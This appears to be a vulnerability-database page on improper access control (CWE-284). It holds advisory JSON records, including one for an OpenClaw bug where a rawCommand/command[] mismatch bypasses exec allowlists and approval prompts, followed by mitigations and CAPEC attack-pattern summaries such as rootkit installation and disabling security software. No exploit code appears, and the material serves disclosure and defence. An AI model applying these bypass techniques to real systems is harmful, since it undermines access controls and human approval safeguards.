Enforce rawCommand/command[] consistency (gateway fail-fast + node host validation).
Fix Commit(s)
- cb3290fca32593956638f161d9776266b90ab891
Release Process Note
This advisory pre-sets the patched version to the planned next release (2026.2.14). Once openclaw@2026.2.14 is published to npm, the advisory can be published without further edits.
Thanks @christos-eth for reporting.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-26325"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-17T21:42:49Z",
"nvd_published_at": "2026-02-19T23:16:25Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA mismatch between `rawCommand` and `command[]` in the node host `system.run` handler could cause allowlist/approval evaluation to be performed on one command while executing a different argv.\n\n## Affected Configurations\n\nThis only impacts deployments that:\n\n- Use the node host / companion node execution path (`system.run` on a node).\n- Enable allowlist-based exec policy (`security=allowlist`) with approval prompting driven by allowlist misses (for example `ask=on-miss`).\n- Allow an attacker to invoke `system.run`.\n\nDefault/non-node configurations are not affected.\n\n## Impact\n\nIn affected configurations, an attacker who can invoke `system.run` can bypass allowlist enforcement and approval prompts by supplying an allowlisted `rawCommand` while providing a different `command[]` argv for execution.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.2.13`\n- Patched version: `\u003e= 2026.2.14` (planned next release)\n\n## Fix\n\nEnforce `rawCommand`/`command[]` consistency (gateway fail-fast + node host validation).\n\n## Fix Commit(s)\n\n- cb3290fca32593956638f161d9776266b90ab891\n\n## Release Process Note\n\nThis advisory pre-sets the patched version to the planned next release (`2026.2.14`). Once `openclaw@2026.2.14` is published to npm, the advisory can be published without further edits.\n\nThanks @christos-eth for reporting.",
"id": "GHSA-h3f9-mjwj-w476",
"modified": "2026-02-20T16:44:54Z",
"published": "2026-02-17T21:42:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-h3f9-mjwj-w476"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26325"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/cb3290fca32593956638f161d9776266b90ab891"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/releases/tag/v2026.2.14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenClaw Node host system.run rawCommand/command mismatch can bypass allowlist/approvals"
}
GHSA-H3FG-24XH-363P
Vulnerability from github – Published: 2025-08-06 18:31 – Updated: 2025-08-06 18:31Incorrect access control in Sage DPW v2024.12.003 allows unauthorized attackers to access the built-in Database Monitor via a crafted request. This is fixed in Halbjahresversion 2024_12_004.
{
"affected": [],
"aliases": [
"CVE-2025-51532"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-06T16:15:30Z",
"severity": "HIGH"
},
"details": "Incorrect access control in Sage DPW v2024.12.003 allows unauthorized attackers to access the built-in Database Monitor via a crafted request. This is fixed in Halbjahresversion 2024_12_004.",
"id": "GHSA-h3fg-24xh-363p",
"modified": "2025-08-06T18:31:21Z",
"published": "2025-08-06T18:31:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-51532"
},
{
"type": "WEB",
"url": "https://www.sec4you-pentest.com/schwachstelle/sage-dpw-unauthentifizierter-zugriff-adminbereich-db-monitor"
},
{
"type": "WEB",
"url": "https://www.sec4you-pentest.com/schwachstellen"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H3FJ-247X-CQR8
Vulnerability from github – Published: 2022-05-17 03:33 – Updated: 2025-04-12 12:46Citrix NetScaler AppFirewall, as used in NetScaler 10.5, allows remote attackers to bypass intended firewall restrictions via a crafted Content-Type header, as demonstrated by the application/octet-stream and text/xml Content-Types.
{
"affected": [],
"aliases": [
"CVE-2015-2841"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-04-03T14:59:00Z",
"severity": "MODERATE"
},
"details": "Citrix NetScaler AppFirewall, as used in NetScaler 10.5, allows remote attackers to bypass intended firewall restrictions via a crafted Content-Type header, as demonstrated by the application/octet-stream and text/xml Content-Types.",
"id": "GHSA-h3fj-247x-cqr8",
"modified": "2025-04-12T12:46:45Z",
"published": "2022-05-17T03:33:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-2841"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/36369"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2015/Mar/95"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id/1031928"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-H3G4-Q7JG-PP54
Vulnerability from github – Published: 2022-05-17 00:24 – Updated: 2022-05-17 00:24IBM Spectrum Control (formerly Tivoli Storage Productivity Center) 5.2.x before 5.2.11 allows remote authenticated users to bypass intended access restrictions, and read task details or edit properties, via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2016-5943"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-09-26T04:59:00Z",
"severity": "MODERATE"
},
"details": "IBM Spectrum Control (formerly Tivoli Storage Productivity Center) 5.2.x before 5.2.11 allows remote authenticated users to bypass intended access restrictions, and read task details or edit properties, via unspecified vectors.",
"id": "GHSA-h3g4-q7jg-pp54",
"modified": "2022-05-17T00:24:40Z",
"published": "2022-05-17T00:24:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-5943"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg1IT16944"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg21988625"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/93084"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts
An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.
CAPEC-441: Malicious Logic Insertion
An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.
CAPEC-478: Modification of Windows Service Configuration
An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.
CAPEC-479: Malicious Root Certificate
An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.
CAPEC-502: Intent Spoof
An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.
CAPEC-503: WebView Exposure
An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.
CAPEC-536: Data Injected During Configuration
An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.
CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment
An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.
CAPEC-550: Install New Service
When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-552: Install Rootkit
An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.
CAPEC-556: Replace File Extension Handlers
When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.
CAPEC-558: Replace Trusted Executable
An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.
CAPEC-562: Modify Shared File
An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.
CAPEC-563: Add Malicious File to Shared Webroot
An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.
CAPEC-564: Run Software at Logon
Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.
CAPEC-578: Disable Security Software
An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.